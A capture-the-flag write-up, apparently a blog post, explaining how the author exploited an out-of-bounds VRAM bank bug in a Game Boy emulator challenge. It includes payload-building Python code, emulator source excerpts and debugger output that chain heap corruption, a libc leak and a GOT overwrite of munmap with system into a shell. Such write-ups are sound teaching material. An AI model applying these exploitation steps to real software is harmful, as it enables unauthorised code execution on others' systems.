Gameboi VM — Part 2

Ditto
6 min readAug 2, 2024

--

In this part of the blog, I will be writing about the exploitation process of the gameboi challenge in DeadSec CTF 2024.

To recap from https://ditt0.medium.com/gameboi-vm-part-1-895418797e01, the bug allows us to go OOB and modify the VRAM in write_VBK:

void write_VBK(byte data){
printf("data: %d\n", data);
// no checks of data hence,
// bus->mapper->VRAM_banks[data] goes OOB
bus->VRAM = bus->mapper->VRAM_banks[data];

printf("bus->VRAM: 0x%x\n", bus->mapper->VRAM_banks[data]);
bus->mapper->cur_VRAM = data;
}

and subsequently, we can use the corrupted VRAM to craft more primitives:

byte read_bus_generic(address addr){
byte ret = 0;
if(addr >= VRAM_START && addr < EXRAM_START){
ret = bus->VRAM[addr-VRAM_START]; // OOB read
}
...

}

void write_bus_generic(address addr, byte data){
if(addr >= VRAM_START && addr < EXRAM_START){
if(bus->mem_perms == OAM_VRAM_BLOCKED)
return;
bus->VRAM[addr-VRAM_START] = data; // OOB write
}
...
}

Lets start by looking at what can we modify bus->VRAM to.

GDB —> b write_VBK
dumping bus->mapper
dumping VRAM_banks

At index 0x3C, we see a heap pointer which points back to index 0x36. Also, there are multiple function pointers like read_joycon and write_joycon.

By going OOB and modifying my VRAM to index 0x3C, I can start writing in this heap region and corrupt function pointers. This was my initial step.

Now lets try to get a plan, keeping in mind that I probably have to get arbitrary read/write. To do this, I have to read the code more.

To get arbitrary read/write, I will need the following primitives:

  1. Craft/copy a pointer on the heap
  2. Increment the pointer
  3. Modify my VRAM to the pointer: this is pretty straightforward — by just calling write_VBK again.

My overall plan is to corrupt munmap in the GOT to system, and subsequently trigger munmap(“/bin/sh”) => system(“/bin/sh”).

To achieve the plan, I need to leak GOT, libc address and write to GOT. Keeping in mind the overall plan, lets look at how to get the above primitives.

[1] Craft/copy a pointer on the heap

After modifying our VRAM to point to the heap, we can use read_bus_generic and write_bus_generic.

def read_into_CPU_A(offset):
global PC
global tmp_word_ptr
global payload
payload[PC] = 250 # 250
packed_word = struct.pack('<H', 0x8000 + offset)
payload[PC+1:PC+3] = packed_word
PC += 3

def copy_pie_into_rom():
global data_offset

write_CPU_A(0x3C) # oob 0x3C
write_addr_CPU_A(0xFF4F) # triggers write_VBK to modify VRAM

for i in range(0, 8):
read_into_CPU_A(0x18+i)
write_CPU_A_to_addr(0xE0 + i + data_offset)
data_offset += 8

To trigger read_bus_generic, we need to specific an address above 0x8000 which is why I added 0x8000 in read_into_CPU_A function above:

 uint8_t exec_instr(byte opcode) {
...

case LD_A_MEM: // 250
printf("LD_A_MEM\n");
cpu.A = read_bus(tmp_word);
printf("reading bus: %d\n", tmp_word);
printf("cpu.A: %d\n", cpu.A);
break;
...
}

byte read_bus(address addr){
byte ret;
if((addr >= 0x8000 && addr < 0xA000) || addr >= 0xC000){
ret = read_bus_generic(addr);
} else {
ret = bus->mapper->read(addr);
}
return ret;
}

byte read_bus_generic(address addr){
byte ret = 0;
if(addr >= VRAM_START && addr < EXRAM_START){
ret = bus->VRAM[addr-VRAM_START];
}
...
}

So we can read from bus->VRAM into cpu.A. The first thing I did was to copy the address of read_joycon and modify it to point to GOT of setvbuf so that I could leak a libc address. This is done with the copy_heap_into_rom method:

def copy_pie_into_rom():
global data_offset

write_CPU_A(0x3C) # oob 0x3C
write_addr_CPU_A(0xFF4F) # triggers write_VBK to modify VRAM

for i in range(0, 8):
read_into_CPU_A(0x18+i)
write_CPU_A_to_addr(0xE0 + i + data_offset)
data_offset += 8

After modifying write_VBK, I will read write_joycon which is at offset 0x18. Then I will copy that into offset 0xE0 and 0xE8.

initial
final

Then, I will modify write_joycon to setvbuf:

# make 2nd write_joycon into setvbuf
read_into_CPU_A(0xE0+8)
write_CPU_A_Addition(0x88) # overwrite to setvbuf
write_CPU_A_to_addr(0xE0+8)

read_into_CPU_A(0xE1+8)
write_CPU_A_Addition(0xE0-0x58) # CPU.A now is big
write_CPU_A_to_addr(0xE1+8)
[0x5803aafbd058] setvbuf@GLIBC_2.2.5 -> 0x7b817ce88540 (setvbuf) ◂— endbr64 
[0x5803aafb48d0] write_joycon

To change write_joycon to setvbuf, I will add 0x88 to the first byte to change 0xD0 to wrap around to 0x58, and add 0x88 to the second byte to change 0x48 to 0xD0. The end result is as such, you can check the address of write_joycon at index 3 below.

Crafted pointer setvbuf

[2] Increment the pointer

For the addition primitive I mentioned above, I used the following opcode:

uint8_t exec_instr(byte opcode) {
...

case ADD_n: // 198
case ADC_N:
case SUB_n:
case SBC_n:
case AND_n:
case XOR_n:
case OR_n:
case CP_n:
printf("ADD_n\n");
logic_arith_8bit((opcode >> 3) & 7, tmp_byte);
break;

...

}

void logic_arith_8bit(byte operation, uint8_t value){
uint8_t result = 1;

switch(operation){
case ADD:
printf("add(cpu.A: %d, value: %d)\n", cpu.A, value);
result = add(cpu.A, value);
cpu.A = result;
break;

...

}

Now I want to copy the libc address in GOT of setvbuf into munmap.

This can be done like so:

  1. Trigger write_VBK and modify VRAM to GOT of setvbuf
  2. Do OOB write to copy libc address of setvbuf to munmap
  3. In the midst of copying, add the first and second byte to make it point to system
# dereference that and write into munmap got
write_CPU_A(0x53) # oob 0x53 (to get the heap pointing to setvbuf)
write_addr_CPU_A(0xFF4F) # write_VBK

## now VRAM is set to setvbuf, reading will copy
for i in range(0, 8):
read_into_CPU_A(i)
if (i == 1):
write_CPU_A_Addition(0x2)
if (i == 2):
write_CPU_A_Addition(0xFD)

write_CPU_A_to_addr(0xD0 - 0x58 + i) # copy setbbuf into munmap

The offset 0x53 is in the bus->VRAM_banks to modify VRAM to GOT of setvbuf. Then the offset 0xD0–0x58+i is to corrupt the GOT of munmap. The final result is as such:

corrupted munmap

Now when we end the ROM game, we can trigger system(“bin/sh”)! To end the game,

def exit_cpu():
global PC
global tmp_word_ptr
global payload
payload[PC] = 211
PC += 1

# To set emu.running to 0, we just have to increment cpu_cycle()
# Call opcode 211
'''
pwndbg> p instr_table[211]
$83 = {
opcode = 0 '\000',
instr_fmt = '\000' <repeats 23 times>,
size = 0 '\000',
T_cycles = 0 '\000'
}
then cycles will be 0
'''
exit_cpu()

Then cycles will not be incremented and we will exit:

void run()
{
LOG(INFO, "Beginning ROM execution");
while(emu.running){

...

if((t_cycles = cpu_cycle()) == 0) emu.running = false; //trigger HALT

}

printf("Ending ROM execution\n");
getchar();
cleanup(0);
}

// cleanup
void release_mapper(mapper_t* map){
munmap(map->ROM_banks[0], map->rom_size);

...

}
ROM_banks[0] is just our ROM code, so just place /bin/sh at the front
booms!
Getting shell

You can find the final POC here.

--

--

No responses yet